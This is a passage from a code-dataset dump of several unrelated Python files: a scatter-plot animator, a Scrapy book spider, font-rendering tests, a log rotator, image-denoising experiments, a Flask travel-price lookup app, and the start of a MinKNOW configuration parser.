self.scat,\n\n def data_stream(self):\n # Generator function that yields the next set of points\n for data_points in self.scatter_plots:\n yield data_points\n\n def update(self, i):\n # Set x and y data\n self.scat.set_offsets(next(self.stream))\n # FuncAnimation expects a sequence of artists, so add trailing comma\n return self.scat,\n\n def show(self):\n plt.show()\n\ndef plot_2d(datapoints):\n # Create a new Figure and Axes\n fig, ax = plt.subplots()\n x, y = points_to_xy(datapoints)\n scatter_plot = ax.scatter(x, y)\n plt.show()\n\n\nif __name__ == '__main__':\n # Make animation of three scatter plots\n all_plots = [\n [[1, 1], [2, 2], [3, 3]],\n [[1, 2], [2, 2], [3, 2]],\n [[1, 3], [2, 2], [3, 1]],\n [[1, 3], [2, 2], [3, 0]]\n ]\n plotter = AnimatedScatterPlot(all_plots)\n plotter.show()\n\n # Plot this scatter plot\n # plot_2d([[1, 1], [2, 2], [3, 3]])\n","repo_name":"jminjie/p_hacking_demo","sub_path":"animator.py","file_name":"animator.py","file_ext":"py","file_size_in_byte":2126,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"71008710478","text":"from scrapy.spiders import CrawlSpider, Rule\nfrom scrapy.linkextractors import LinkExtractor\n\nclass CrawlingSpider(CrawlSpider):\n name = \"mulai\"\n allowed_domains = [\"toscrape.com\"]\n start_urls = [\"https://books.toscrape.com/\"]\n # allowed_domains = [\"https://telkomuniversity.ac.id\"]\n # start_urls = [\"https://telkomuniversity.ac.id\"]\n\n rules = (\n Rule(LinkExtractor(allow=\"catalogue/category\")),\n # Rule(LinkExtractor(allow=\"change\", deny=\"category\"), callback=\"parse_item\")\n Rule(LinkExtractor(allow=\"catalogue\", deny=\"category\") , callback=\"parse_item\")\n # Rule(LinkExtractor(allow=\"semua-berita-terkini\"), callback=\"parse_item\"),\n # yang dimaskdu dinsin adalah bagaimana pattern yang akan digunakan saat aakan mencsrape web/crawl\n # THE ga bisa sd scrape; di proteksi\n )\n\n def parse_item(self, response):\n yield {\n \"title\": response.css(\".product_main h1::text\").get(),\n \"price\": response.css(\".price_color::text\").get(),\n \"availability\": response.css(\".availability::text\")[1].get().replace(\"\\n\", \"\").replace(\" \", \"\").replace(\"Instock\", \"\").replace(\"available\", \"\").replace(\"(\", \"\").replace(\")\", \"\")\n } \n # def parse_item(self, response):\n # yield {\n # \"title\": response.css(\".quote::text\").get()\n # } ","repo_name":"BagasCaturS/Proyek-2","sub_path":"crawl/crawlingproject/crawlingproject/spiders/crawl.py","file_name":"crawl.py","file_ext":"py","file_size_in_byte":1347,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"39158091222","text":"from coldtype.test import *\nfrom coldtype.text.richtext import RichText\n\nf1 = Font.ColdtypeObviously()\nf2 = Font.MutatorSans()\n\n@test()\ndef test_preserve_space(_r):\n r = Rect(1200, 300)\n rt = RichText(r, \"HELLO[i] COLDTYPE\", dict(\n i=Style(f2, 200, wdth=0, wght=1),\n default=Style(f1, 200, wdth=0))).align(r)\n\n assert rt[0][0].data(\"txt\") == \"COLDTYPE\"\n assert rt[0][1].data(\"txt\") == \"HELLO \"\n\n assert rt[0][1][0].glyphName == \"space\"\n assert rt[0][1][-1].glyphName == \"H\"\n\n assert rt[0][0][0].glyphName == \"E\"\n assert rt[0][0][-1].glyphName == \"C\"\n\n space_width = rt[0][1][0].ambit(tx=0).w\n assert space_width == 50\n\n assert rt[0][1].ambit(tx=0).w - space_width > rt[0][1].ambit(tx=1).w\n \n return rt.align(_r).scale(0.5)\n\n@test()\ndef test_ligature(_r):\n clarette = Font.Find(\"ClaretteGX.ttf\")\n\n txt = \"fi¬joff≤asdf≥\"\n r = Rect(1080, 300)\n \n gl = (RichText(r, txt,\n dict(\n default=Style(clarette, 200),\n asdf=Style(clarette, 200, wdth=1)),\n tag_delimiters=[\"≤\", \"≥\"],\n visible_boundaries=[\"¶\"],\n invisible_boundaries=[\"¬\"])\n .align(r))\n \n assert gl[0][0].data(\"style_names\")[0] == \"asdf\"\n assert len(gl[0][1].data(\"style_names\")) == 0\n assert gl[0][0][0].glyphName == \"f_f\"\n assert gl[0][1][0].glyphName == \"f_i\"\n \n return gl.align(_r).scale(0.5)","repo_name":"coldtype/coldtype","sub_path":"tests/test_richtext.py","file_name":"test_richtext.py","file_ext":"py","file_size_in_byte":1404,"program_lang":"python","lang":"en","doc_type":"code","stars":261,"dataset":"github-code","pt":"29"} +{"seq_id":"4899192817","text":"#!/usr/bin/python\n#log rotation script. Rename old big file and clear current one\n# python purge_logs.py log/messages 10 5\nimport sys, os\nimport shutil\n\n\nif (len(sys.argv) < 4):\n print(\"Missed arguments\")\n exit(1)\n\nfile_name = sys.argv[1]\nlimitsize = int(sys.argv[2]) #minimum size for purging in KB \nlogsnumber = int(sys.argv[3]) # how many logs we can create\n\nif (os.path.isfile(file_name) == True):\n logfile_size = os.stat(file_name).st_size\n logfile_size = logfile_size / 1024\n\n if (logfile_size >= limitsize):\n if(logsnumber > 0):\n for currentfilenumber in range (logsnumber, 1, -1):\n src = file_name + \"_\" + str(currentfilenumber-1)\n dst = file_name + \"_\" + str(currentfilenumber)\n if(os.path.isfile(src) == True):\n shutil.copyfile(src, dst)\n print(\"Copied: \" +src + \" to \" + dst)\n shutil.copyfile(file_name, file_name + \"_1\")\n print (\"Copied: \" + file_name + \" to \" + file_name + \"_1\")\n myfile=open(file_name, \"w\")\n myfile.close()\n","repo_name":"egaraev/python_scripts","sub_path":"os-operations/purge_logs.py","file_name":"purge_logs.py","file_ext":"py","file_size_in_byte":1098,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"24922132328","text":"import numpy as np\nimport cv2\nimport random \nimport statistics\n\nregions = 4\nregions_list = {}\nfor j in range(regions):\n regions_list[j] = list(range(255//regions*j,255//regions*(j+1)))\n\nregions_parameters = np.zeros([regions,2])\nfor j in regions_list.keys():\n regions_parameters[j][0] = statistics.mean(regions_list[j])\n regions_parameters[j][1] = statistics.variance(regions_list[j])\n#print(regions_parameter)\n\nsquare = np.zeros([1000,1000])\nfor i in range(0,250):\n for j in range(1000):\n square[i][j] = regions_parameters[0][0]\nfor i in range(251,500):\n for j in range(1000):\n square[i][j] = regions_parameters[1][0]\nfor i in range(501,750):\n for j in range(1000):\n square[i][j] = regions_parameters[2][0]\nfor i in range(751,1000):\n for j in range(1000):\n square[i][j] = regions_parameters[3][0]\nimage_square = square.astype(np.uint8)\ncv2.imshow('gaussian gray_image',image_square)\ncv2.waitKey(0) \ncv2.destroyAllWindows()\n\n#search_number = 171\n#for item in range(regions): # for name, age in list.items(): (for Python 3.x)\n# current = regions_list.items()[item][1]\n# for element in current:\n# if element == search_number:\n# print(item)\n#print(regions_list.items()[0][1])\n\n\"\"\"\nThis part was used to test different types of adding noise to the image for starting \nthe algorithm.\n\n\nimport cv2\nimport numpy as np\nimport random\nfrom matplotlib import pyplot as plt\nimport scipy\nimport scipy.stats\n\nrandom.seed(784)\ninit_temp = random.randint(0,10)\n\ndesk = cv2.imread('desk.jpg')\npresav_gray_desk = cv2.cvtColor(desk, cv2.COLOR_BGR2GRAY)\ncv2.imwrite('gray_desk.jpg',presav_gray_desk)\ngray_desk = cv2.imread('gray_image.jpg')\n#cv2.imshow('image',img)\n#cv2.waitKey(0)\n#cv2.destroyAllWindows()\n\n\n## This part is for adding salt and pepper noise to the picture.\ndef sp_noise(image,prob):\n '''\n Add salt and pepper noise to image\n prob: Probability of the noise\n '''\n output = np.zeros(image.shape,np.uint8)\n thres = 1 - prob \n for i in range(image.shape[0]):\n for j in range(image.shape[1]):\n rdn = random.random()\n if rdn < prob:\n output[i][j] = 0\n elif rdn > thres:\n output[i][j] = 255\n else:\n output[i][j] = image[i][j]\n return output\n\nnoise_img = sp_noise(gray_desk,0.20)\ncv2.imwrite('sp_noise.jpg', noise_img)\nimg2 = cv2.imread('sp_noise.jpg',0)\ncv2.imshow('image',img2)\ncv2.waitKey(0)\ncv2.destroyAllWindows()\n\nsnr = scipy.stats.signaltonoise(noise_img, axis=None)\nprint(\"This is salt and pepper noise \" + str(snr))\n\nblur = cv2.blur(gray_desk,(30,30),0)\n\nplt.imshow(blur)\nplt.show()\nsnr_blur = scipy.stats.signaltonoise(blur,axis = None)\nprint('This is blurring from CV2 ' + str(snr_blur))\n\nkernel = np.ones((10,10),np.float32)/100\ndst = cv2.filter2D(gray_desk,-1,kernel)\n\nplt.imshow(dst)\nplt.show()\nsnr_dst = scipy.stats.signaltonoise(dst,axis = None)\nprint('This is blurring from CV2 ' + str(snr_dst))\n\n\n#from PIL import Image, ImageFilter\n#im = Image.open('desk.jpg')\n#im.show()\n\n\n#Applying Grayscale filter to image\n#gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n\n#Saving filtered image to new file\n#cv2.imwrite('graytest.jpg',gray)\n#img2 = cv2.imread('graytest.jpg')\n#cv2.imshow('imag',img2)\n#cv2.waitkey(0)\n#cv2.destroyAllWindows()\n\n## This part is already working and showing some preliminary division \n## between background and foreground.\n\n\n## This is the U(z,h,v) function defined in Patra's paper. This function measures\n## \ndef u_function(image,i,j,alpha,beta,threshold):\n #print(image[i][j])\n #print(image[i][j-1])\n horizontal_similarity = (image[i][j] -image[i][j-1])**2*(1-horizontal_funct(image,i,j,threshold))\n vertical_similarity = (image[i][j] -image[i-1][j])**2 * (1-vertical_funct(image,i,j,threshold))\n alpha_term = alpha*(horizontal_similarity + vertical_similarity)\n beta_term = beta*(vertical_funct(image,i,j,threshold) + horizontal_funct(image,i,j,threshold))\n similarity_pixels = alpha_term + beta_term\n return similarity_pixels\n\ndef up_function(original_image,image,i,j,alpha,beta,threshold,sigma):\n u_value = u_function(image,i,j,alpha,beta,threshold)\n orig_value = original_image[i][j]\n test_value = image[i][j]\n fit_level = (orig_value - test_value)**2\n up_value = fit_level/(2*sigma**2) + u_value\n return up_value\n \ndef image_update(original_image,image,sigma,alpha,beta,threshold,mean = 0):\n\n row,col = image.shape\n new_image = np.zeros((row,col))\n perturbed_image = noisy(image,mean,sigma)\n for i in range(1,row):\n for j in range(1,col):\n #print(i)\n #print(j)\n up_value_degraded = up_function(original_image,image,i,j,alpha,beta,threshold,sigma)\n up_value_before_degraded = up_function(original_image,image,i,j,alpha,beta,threshold,sigma)\n if (up_value_degraded - up_value_before_degraded) < 0:\n new_image[i][j] = perturbed_image[i][j]\n else:\n new_image[i][j] = image[i][j]\n return new_image\n\nupdated = image_update(presav_gray_image,gaussian_image,sigma,alpha, beta,threshold)\ncv2.imshow('updated',updated)\ncv2.waitKey(0) \ncv2.destroyAllWindows()\n\n#print(updated)\n\n## This is the energy function that can be used to compute the energy of an image.\ndef energy(image,alpha,beta,threshold):\n row,col = image.shape\n energy = 0\n for i in range(1,row):\n for j in range(1,col):\n horizontal_similarity = (image[i][j] -image[i][j-1])**2*(1-horizontal_funct(image,i,j,threshold))\n vertical_similarity = (image[i][j] -image[i-1][j])**2 * (1-vertical_funct(image,i,j,threshold))\n alpha_term = alpha*(horizontal_similarity + vertical_similarity)\n beta_term = beta*(vertical_funct(i,j) + horizontal_funct(i,j))\n energy = energy + alpha_term + beta_term\n return energy\n\n######################################################################################################\n######################################################################################################\n\n###From here on the code is already fully working:\n\nimport cv2\nimport numpy as np\nimport random\nfrom matplotlib import pyplot as plt\nimport scipy\nimport scipy.stats\n\nrandom.seed(784)\nnp.random.seed(784)\n\nimage = cv2.imread('chess_circle_rectangle.jpg')\npresav_gray_image = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\ncv2.imwrite('gray_image.jpg',presav_gray_image)\ncv2.imshow('gray_tangram',presav_gray_image)\ncv2.waitKey(0) \ncv2.destroyAllWindows()\n#gray_desk = cv2.imread('gray_image.jpg')\n\n#cv2.imshow('image',img)\n#cv2.waitKey(0)\n#cv2.destroyAllWindows()\n\nblur_gray_image = cv2.blur(presav_gray_image,(20,20),0)\ncv2.imwrite('gray_desk.jpg',blur_gray_image)\n#cv2.imshow('blur gray_image',blur_gray_desk)\n#cv2.waitKey(0) \n#cv2.destroyAllWindows()\n#blur_gray_desk = cv2.imread('gray_desk.jpg')\n#plt.imshow(blur_gray_desk)\n#plt.show()\n\n#snr_blur = scipy.stats.signaltonoise(blur_gray_desk,axis = None)\n#print('This is blurring from CV2 ' + str(snr_blur))\n\n## Initializing parameters for the Tabu search MRF algorithm\ntabu_list = {}\ninit_temp = 0.1\ntotal_iterations = 5\nalpha = 0.01\nbeta = 5\nsigma = 5\nthreshold = 0.5\noriginal_image = presav_gray_image\n\n## Function that adds noise to an image following a Gaussian distribution\n## print(blur_gray_desk)\ndef noisy(image, mean, variance):\n row,col= image.shape\n sigma = variance**2\n gauss = np.random.normal(mean,sigma,(row,col))\n gauss = gauss.reshape(row,col)\n pre_noisy = np.round(image + gauss,0)\n noisy = pre_noisy.astype(np.uint8)\n return noisy\n\ngaussian_image = noisy(presav_gray_image,0,sigma)\ncv2.imshow('gaussian gray_image',gaussian_image)\ncv2.waitKey(0) \ncv2.destroyAllWindows()\n\n\n## This are the horizontal and vertical functions used in the Patra paper, this behaves\n## as a piecewise function that activates if some conditions of the pixel in the \n## image are satisfied.\n\ndef horizontal_funct(current_image,i,j,threshold):\n pixel1 = current_image[i][j]\n pixel2 = current_image[i][j-1]\n if abs(pixel1 - pixel2)>threshold:\n result = 1\n else:\n result = 0\n return result\n\ndef vertical_funct(current_image,i,j,threshold):\n pixel1 = current_image[i][j]\n pixel2 = current_image[i-1][j]\n if abs(pixel1 - pixel2)>threshold:\n result = 1\n else:\n result = 0\n return result\n\n## This is the U(z,h,v) function defined in Patra's paper. This function measures\n## \ndef u_function(current_image,i,j,alpha,beta,threshold):\n #print(image[i][j])\n #print(image[i][j-1])\n horizontal_similarity = (current_image[i][j] - current_image[i][j-1])**2*(1-horizontal_funct(current_image,i,j,threshold))\n vertical_similarity = (current_image[i][j] - current_image[i-1][j])**2 * (1-vertical_funct(current_image,i,j,threshold))\n alpha_term = alpha*(horizontal_similarity + vertical_similarity)\n beta_term = beta*(vertical_funct(current_image,i,j,threshold) + horizontal_funct(current_image,i,j,threshold))\n similarity_pixels = alpha_term + beta_term\n return similarity_pixels\n\ndef up_function(original_image,current_image,i,j,alpha,beta,threshold,sigma):\n u_value = u_function(current_image,i,j,alpha,beta,threshold)\n orig_value = original_image[i][j]\n test_value = current_image[i][j]\n fit_level = (orig_value - test_value)**2\n up_value = fit_level/(2*sigma**2) + u_value\n return up_value\n \ndef image_update(original_image,current_image,sigma,alpha,beta,threshold,temp,mean = 0):\n #This function gets as input a gray-scale image that is blurred, a mean\n #and variance term in order to perturb a pixel with some noise. Then we \n #follow the tabu search algorithm to update regions in the image. \n row,col = current_image.shape\n new_image = np.zeros((row,col))\n perturbed_image = noisy(current_image,mean,sigma)\n for i in range(1,row):\n for j in range(1,col):\n #print(i)\n #print(j)\n up_value_degraded = up_function(original_image,perturbed_image,i,j,alpha,beta,threshold,sigma)\n up_value_before_degraded = up_function(original_image,current_image,i,j,alpha,beta,threshold,sigma)\n #print(up_value_degraded)\n #print(up_value_before_degraded)\n if (up_value_degraded - up_value_before_degraded) <= 0:\n new_image[i][j] = perturbed_image[i][j]\n #print(new_image[i][j])\n elif (up_value_degraded - up_value_before_degraded) > 0:\n if np.exp(-(up_value_degraded - up_value_before_degraded)/temp) > np.random.uniform(0,1):\n new_image[i][j] = perturbed_image[i][j]\n #print(new_image[i][j])\n else:\n new_image[i][j] = current_image[i][j]\n #print(new_image[i][j])\n return new_image\n\n\n#cv2.imshow('updated',gaussian_image)\n#cv2.waitKey(0) \n#cv2.destroyAllWindows()\nupdated = image_update(presav_gray_image,gaussian_image,sigma,alpha, beta,threshold,init_temp,mean = 0)\n#print(gaussian_image.shape)\nprint(gaussian_image[100])\nprint(updated[100])\ncv2.imshow('updated',updated)\ncv2.waitKey(0) \ncv2.destroyAllWindows()\n\n#print(updated)\n\n## This is the energy function that can be used to compute the energy of an image.\ndef energy(current_image,alpha,beta,threshold):\n row,col = current_image.shape\n energy = 0\n for i in range(1,row):\n for j in range(1,col):\n horizontal_similarity = (current_image[i][j] - current_image[i][j-1])**2*(1-horizontal_funct(current_image,i,j,threshold))\n vertical_similarity = (current_image[i][j] - current_image[i-1][j])**2 * (1-vertical_funct(current_image,i,j,threshold))\n alpha_term = alpha*(horizontal_similarity + vertical_similarity)\n beta_term = beta*(vertical_funct(current_image,i,j,threshold) + horizontal_funct(current_image,i,j,threshold))\n energy = energy + alpha_term + beta_term\n return energy\n\n## Main function to run the Hybrid Tabu Process described in Patra's paper.\n\ndef main(original_image,current_image,sigma,alpha,beta,threshold,tabu_list,temp,mean = 0):\n updated_image = image_update(original_image,current_image,sigma,alpha, beta,threshold,temp,mean = 0)\n #print(updated_image)\n updated_energy = energy(updated_image,alpha,beta,threshold)\n #tabu_energy_list = {}\n if len(tabu_list) == 0:\n tabu_list[0] = updated_image\n else:\n tabu_elts = len(tabu_list)\n i = 1\n for p in tabu_list.keys():\n curr_tabu_energy = energy(tabu_list[p],alpha,beta,threshold)\n if updated_energy < curr_tabu_energy:\n if len(tabu_list.keys()) < 10:\n tabu_list[i] = updated_image\n i = i + 1\n else:\n tabu_list[p] = updated_image\n elif updated_energy >= curr_tabu_energy and np.exp(-updated_energy/temp) > np.random.uniform(0,1):\n if len(tabu_list.keys()) < 10:\n tabu_list[i] = updated_image\n i = i + 1\n else:\n tabu_list[p] = updated_image\n return updated_image, tabu_list\n\noriginal_image = presav_gray_image\ncurrent_image = gaussian_image\ntemp = init_temp\n#current_image, tabu_list = main(original_image,current_image,sigma,alpha,beta,threshold,tabu_list,temp,mean = 0)\n#print(current_image)\n#cv2.imshow('updated',current_image)\n#cv2.waitKey(0) \n#cv2.destroyAllWindows()\n\n#for j in range(total_iterations):\n# print(j)\n #print(current_image)\n# current_image, tabu_list = main(original_image,current_image,sigma,alpha,beta,threshold,tabu_list,temp,mean = 0)\n# temp = temp/(1 + np.log(1+j))\n# print(temp)\n# print(energy(current_image,alpha,beta,threshold))\n #print(tabu_list)\n #cv2.imshow('updated',current_image)\n #cv2.waitKey(0) \n #cv2.destroyAllWindows()\n\n#print(tabu_list)\n#cv2.imshow('updated',current_image)\n#cv2.waitKey(0) \n#cv2.destroyAllWindows()\n\n\"\"\"","repo_name":"juliosol/Computer_Vision_UM2018","sub_path":"Project/trial.py","file_name":"trial.py","file_ext":"py","file_size_in_byte":13469,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"2533351753","text":"import datetime\nfrom flask import Flask, request\nimport requests\nimport requests_cache\nfrom typing import List\n\n\napp = Flask(__name__)\n\n@app.route('/', methods=['GET'])\ndef getPlayitasPrices():\n requests_cache.install_cache('cheapPlayitas', expire_after=3600, )\n\n args = request.args\n oneMax = args.get(\"MaxPrice7\", default=None, type=int)\n twoMax = args.get(\"MaxPrice14\", default=None, type=int)\n persons = args.get(\"persons\", default=2, type=int)\n sortbydate = args.get(\"sortbydate\", default=False, type=bool)\n\n airports = []\n airports.append(\"CPH\") if args.get(\"airportcph\", default=False, type=bool) else False\n airports.append(\"BLL\") if args.get(\"airportbll\", default=False, type=bool) else False\n airports.append(\"AAL\") if args.get(\"airportaal\", default=False, type=bool) else False\n airports.append(\"AAR\") if args.get(\"airportaar\", default=False, type=bool) else False\n\n hotels = getHotelList()\n selectedHotels: List[Hotel] = []\n for hotel in hotels:\n selectedHotels.append(hotel) if args.get(hotel.shortName, default=False, type=bool) else False\n\n prices = []\n for airport in airports:\n prices += getPrices( \"7\", selectedHotels, airport, oneMax, persons) if oneMax != None else \"\"\n prices += getPrices( \"14\", selectedHotels, airport, twoMax, persons) if twoMax != None else \"\"\n\n sortedPrices = SortPrices(prices, sortbydate)\n res = PrettyHtmlPrices(sortedPrices, hotels)\n return res\n\ndef SortPrices(travelPrices, sortbydate):\n travelPrices.sort(key=lambda x: (x.get('Duration'), x.get('CheapestPrice')))\n if(sortbydate):\n travelPrices.sort(key=lambda x: (x.get('Duration'), x.get('Date')))\n return travelPrices\n\ndef getPrices(travelDuration, hotels, airport, maxPrice, persons):\n date = datetime.datetime.now().date()\n currentMonth = int(date.strftime(\"%m\"))\n currentYear = int(date.strftime(\"%Y\"))\n\n travelPrices = []\n paxAges = createPaxAgesString(persons)\n\n date = datetime.datetime.now().date()\n currentYear = int(date.strftime(\"%Y\"))\n currentMonth = int(date.strftime(\"%m\"))\n years = [currentYear, currentYear+1]\n\n for year in years:\n monthStart = 1\n if year == currentYear:\n monthStart = currentMonth\n for hotel in hotels:\n for month in [str(i).zfill(2) for i in range(monthStart, 13)]:\n url = f\"https://www.apollorejser.dk/PriceCalendar/Calendar?ProductCategoryCode=FlightAndHotel&DepartureDate={year}-{month}-01&departureAirportCode={airport}&duration={travelDuration}&catalogueItemId={hotel.hotelId}&departureDateRange=31&paxAges={paxAges}\"\n r = requests.get(url = url)\n # print(r.from_cache)\n if(r.status_code == 200):\n data = r.json()\n data = removeSoldOutTravels(data)\n data = removeOverLimitPriceTravels(data, maxPrice)\n if(len(data) > 0):\n for travelObj in data:\n travelObj['Airport'] = airport\n travelObj['Duration'] = travelDuration\n travelObj['Hotel'] = hotel.displayName\n travelObj['Link'] = f'https://www.apollorejser.dk/{hotel.hotelUrl}?departureDate={travelObj[\"Date\"][0:10]}&departureAirportCode={airport}&duration={travelDuration}&catalogueItemId={hotel.hotelId}&departureDateRange=31&paxAges={paxAges}'\n travelPrices += data\n return travelPrices\n\ndef createPaxAgesString(persons):\n personsString = \"18\"\n for _ in range(1,persons):\n personsString += \",18\"\n return personsString\n\ndef removeSoldOutTravels(data):\n return list(filter(lambda travelPrice: travelPrice[\"IsSoldOut\"] != True, data))\n\ndef removeOverLimitPriceTravels(data, maxPrice):\n return list(filter(lambda travelPrice: travelPrice[\"CheapestPrice\"] <= maxPrice, data))\n\n\nclass Hotel:\n shortName: str\n displayName: str\n hotelId: str\n hotelUrl: str\n\n def __init__(self, shortName: str, displayName: str, hotelId: str, hotelUrl: str):\n self.shortName = shortName\n self.displayName = displayName\n self.hotelId = hotelId\n self.hotelUrl = hotelUrl\n\n\ndef getHotelList() -> List[Hotel]:\n hotels = []\n hotels.append(Hotel(\"PlayitasAnnexe\", \"Playitas Annexe (Fuerteventura - Spanien)\", \"530116\", \"spanien/de-kanariske-oer/fuerteventura/playitas-resort/hoteller/playitas-annexe\"))\n hotels.append(Hotel(\"PlayitasResort\", \"Playitas Resort (Fuerteventura - Spanien)\", \"160759\", \"spanien/de-kanariske-oer/fuerteventura/playitas-resort/hoteller/playitas-resort\"))\n hotels.append(Hotel(\"LaPared\", \"La Pared (Fuerteventura - Spanien)\", \"537065\", \"spanien/de-kanariske-oer/fuerteventura/costa-calma-tarajalejo-og-la-pared/hoteller/la-pared---powered-by-playitas\"))\n\n hotels.append(Hotel(\"PortoMyrina\",\"Porto Myrina (Limnos - Grækenland)\", \"158862\", \"graekenland/limnos/hoteller/porto-myrina---powered-by-playitas\"))\n hotels.append(Hotel(\"Levante\",\"Levante (Rhodos - Grækenland)\", \"165291\", \"graekenland/rhodos/afandou-og-kolymbia/hoteller/levante---powered-by-playitas\"))\n hotels.append(Hotel(\"SivotaRetreat\",\"Sivota Retreat (Grækenland)\", \"544616\", \"graekenland/sivota/hoteller/sivota-retreat---powered-by-playitas\"))\n hotels.append(Hotel(\"CavoSpada\",\"Cavo Spada Deluxe & Spa Giannoulis (Kreta - Grækenland)\", \"542262\", \"graekenland/kreta/kolymbari/hoteller/cavo-spada-deluxe-og-spa-giannoulis-hotels\"))\n\n hotels.append(Hotel(\"AquaVista\",\"Aqua Vista (Egypten)\", \"548420\", \"egypten/hurghada/hoteller/aqua-vista---powered-by-playitas\"))\n\n hotels.append(Hotel(\"Vidamar Resorts\",\"Vidamar Resorts (Madeira - Portugal)\", \"496953\", \"portugal/madeira/funchal/hoteller/vidamar-resorts-madeira---vinter\"))\n\n return hotels\n\n\ndef PrettyHtmlPrices(travelPrices: list, hotels: List[Hotel]):\n args = request.args\n res = f'''\n \n \n \n \n \n\n
\n
\n
\n
\n

Hoteller

\n '''\n for hotel in hotels:\n res += f'''\n
\n '''\n res += f'''\n
\n

Lufthavne

\n \n \n \n

\n

\n \n
\n\n \n \n \n \n \n \n \n \n \n '''\n for travelPrice in travelPrices:\n res += f\"\"\"\n \n \n \n \n \n \n \n \n \"\"\"\n res += \"\"\"\n
LufthavnVarighedDatoPrisHotelLink
{travelPrice['Airport']}{travelPrice['Duration']}{travelPrice['Date'][0:10]}{travelPrice['CheapestPrice']}{travelPrice['Hotel']}Link
\n \n \n \"\"\"\n return res\n\n\nif __name__ == '__main__':\n app.run()","repo_name":"Banders2/CheapPlayitas","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":8602,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"26533104131","text":"from __future__ import annotations\n\nimport argparse\nimport ast\nimport logging\nimport os\nimport re\nimport sys\nimport warnings\nfrom typing import Any, Optional\n\nimport minknow_api.basecaller_pb2\nimport minknow_api.basecaller_service\nimport toml\nfrom bream4.device_interfaces.device_wrapper import create_grpc_client\nfrom utility.config_apply import config_apply_to_device, filter_config_for_device\nfrom utility.config_file_utils import create_path, find_path, set_path\nfrom utility.config_loader import CONFIG_DIR, ConfigParseException, load_config\n\ntry:\n from production.bias_voltage_offset_lookup import get_bias_voltage_offset_from_server\nexcept ImportError:\n pass\n\n\nKIT_TOML = os.path.join(os.environ.get(\"ONT_CONFIG_DIR\", \"configuration\"), \"sequencing\", \"kits.toml\")\n\nARTIC_IDENTIFIER = \"SYSTEM:post_processing/artic/artic\"\nARTIC_CONFIG = os.path.join(\"post_processing\", \"artic\", \"artic.toml\")\n\n\ndef split_args(arg_name: str, args: list[str]) -> tuple[Optional[list[str]], list[str]]:\n \"\"\"Uses arg_name to cleave args into running args and the remaining_args\n\n If arg_name == test and args == [a, b, --test, c, --test2]\n ([--c], [a, b, --test2]) will be returned\n\n If arg_name is not present, (None, args) will be returned\n\n :param arg_name: Which arg to find\n :param args: List of args to process\n :returns: ([matching args], [remaining args])\n \"\"\"\n matching = []\n non_matching = []\n index = 0\n\n if \"--\" + arg_name in args:\n index = args.index(\"--\" + arg_name)\n non_matching = args[:index]\n\n index += 1\n\n # Grab all arguments after needed one until the next is a different command\n while index < len(args) and not args[index].startswith(\"-\"):\n # Transform to pass arguments as --\n matching.append(\"--\" + args[index])\n index += 1\n\n non_matching.extend(args[index:])\n return matching, non_matching\n\n else:\n return None, args\n\n\ndef update_read_classifiers(config: dict, kit_config: dict, kit: str) -> None:\n read_classifiers = find_path(\n \"analysis_configuration.read_classification.parameters.rules_in_execution_order\", config\n )\n\n if read_classifiers and kit:\n\n # Get all kits\n kits = {kit}\n barcode_kits = find_path(\"basecaller_configuration.barcoding_configuration.barcoding_kits\", config)\n if barcode_kits:\n kits.update(set(barcode_kits))\n\n # Find out event length\n adapter_lengths = sum([kit_config[kit].get(\"adapter_length\", 0) for kit in kits])\n barcode_lengths = sum([kit_config[kit].get(\"barcode_length\", 0) for kit in kits])\n events = adapter_lengths + barcode_lengths\n\n # Adjust classifications\n for idx, classification in enumerate(read_classifiers):\n if \"adapter\" in classification:\n classification = re.sub(r\"\\(event_count,lt,.*?\\)\", f\"(event_count,lt,{events+1})\", classification)\n if \"strand\" in classification or \"strand\" in classification:\n classification = re.sub(r\"\\(event_count,gt,.*?\\)\", f\"(event_count,gt,{events})\", classification)\n read_classifiers[idx] = classification\n\n\n# Wrap parse_args so that it automagically loads and applies the config\ndef parse_args_decorator(parse_args):\n def wrapper(*args, **kwargs):\n # Make sure to get device before the first logger call\n # Otherwise the log will default to home directory\n device = create_grpc_client()\n logger = logging.getLogger(__name__)\n\n # Log the args received\n logger.info(\"Parsing argv: {} args: {} kwargs: {}\".format(sys.argv, args, kwargs))\n args = parse_args(*args, **kwargs)\n config: dict[str, Any] = {\"meta\": {\"context_tags\": {}, \"protocol\": {}}}\n\n kit_config = toml.load(KIT_TOML)\n kit_config.update(kit_config.pop(\"expansion_kits\", {}))\n\n # If the config exists: get it, maybe apply it, and attach it to args\n if args.config:\n config = filter_config_for_device(load_config(args.config), device)\n\n if args.bias_voltage_offset_lookup_server and device.is_promethion:\n offset = get_bias_voltage_offset_from_server(device, args.bias_voltage_offset_lookup_server)\n set_path(\"device.promethion.bias_voltage_offset\", config, offset)\n set_path(\"meta.protocol.bias_voltage_offset_lookup_server\", config, args.bias_voltage_offset_lookup_server)\n\n # Overwrite config with options passed in. Until MinKNOW deals with config\n if args.sawtooth_url:\n config[\"meta\"][\"protocol\"][\"sawtooth_url\"] = args.sawtooth_url\n\n if args.experiment_type:\n config[\"meta\"][\"protocol\"][\"experiment_type\"] = args.experiment_type\n\n if args.department:\n set_path(\"meta.context_tags.department\", config, args.department)\n\n if args.keep_power_on:\n set_path(\"custom_settings.keep_power_on\", config, args.keep_power_on)\n\n # For any of these arguments, we shall assume a sequencing config has been passed in\n if args.kit:\n set_path(\"meta.context_tags.sequencing_kit\", config, args.kit)\n\n if args.lamp_kit:\n set_path(\"basecaller_configuration.lamp_configuration.lamp_kit\", config, args.lamp_kit)\n\n if args.experiment_time:\n config[\"custom_settings\"][\"run_time\"] = int(args.experiment_time * 60 * 60)\n # context_tags expects in minutes\n config[\"meta\"][\"context_tags\"][\"experiment_duration_set\"] = int(args.experiment_time * 60)\n else:\n duration = find_path(\"custom_settings.run_time\", config)\n if duration:\n config[\"meta\"][\"context_tags\"][\"experiment_duration_set\"] = duration\n\n if args.start_bias_voltage:\n 